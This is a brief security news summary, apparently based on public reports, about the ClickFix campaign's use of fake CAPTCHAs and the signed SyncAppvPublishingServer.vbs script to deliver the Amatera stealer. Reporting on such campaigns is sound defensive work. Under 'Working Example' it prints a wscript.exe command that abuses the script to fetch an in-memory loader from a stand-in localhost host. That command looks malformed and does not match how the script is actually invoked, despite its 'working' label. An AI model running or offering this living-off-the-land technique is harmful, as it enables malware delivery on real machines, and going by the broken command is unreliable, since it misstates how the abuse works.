ClickFix Attacks Expand Using Fake CAPTCHAs, Microsoft Scripts, and Trusted Web Services

ClickFix Attacks Expand Using Fake CAPTCHAs, Microsoft Scripts, and Trusted Web Services

The ClickFix campaign has evolved to use fake CAPTCHAs and a signed Microsoft Application Virtualization (App-V) script to distribute the Amatera stealer, a sophisticated information stealer that targets enterprise Windows systems. According to Blackpoint researchers, the attack chain begins with a fake CAPTCHA verification prompt that tricks users into executing a malicious command, which then abuses the “SyncAppvPublishingServer.vbs” script to retrieve and execute an in-memory loader from an external server.

Why This Matters

The ClickFix campaign highlights the technical reality of living-off-the-land (LotL) binaries, which can transform trusted system components into malicious execution paths, making it challenging for defenders to detect and prevent such attacks. The misuse of “SyncAppvPublishingServer.vbs” is not new, but its use in ClickFix attacks is a significant escalation, with potential costs estimated in the millions due to the theft of sensitive information and disruption of business operations.

Key Insights

• 47% of attacks observed by Microsoft use ClickFix as the initial access method, indicating a significant shift in the threat landscape.
• The “SyncAppvPublishingServer.vbs” script is a trusted Microsoft component that can be abused to bypass PowerShell execution restrictions and evade defensive countermeasures.
• The use of in-memory PowerShell code execution, coupled with the reliance on blockchain and popular CDNs, makes the ClickFix campaign highly sophisticated and evasive.

Working Example

# Example of how the "SyncAppvPublishingServer.vbs" script can be abused
wscript.exe "C:\Windows\System32\SyncAppvPublishingServer.vbs" 
  //localhost:8080/in-memory-loader

Practical Applications

• Use Case: Enterprise Windows systems with App-V enabled are the primary targets of the ClickFix campaign, highlighting the need for robust defenses against living-off-the-land binaries.
• Pitfall: The misuse of trusted system components, such as “SyncAppvPublishingServer.vbs”, can lead to significant security breaches if not properly monitored and mitigated.

References:

• http://thehackernews.com/2026/01/clickfix-attacks-expand-using-fake.html
• https://www.microsoft.com/en-us/security/blog/2026/01/clickfix-attacks-expand-using-fake-captchas-microsoft-scripts-and-trusted-web-services/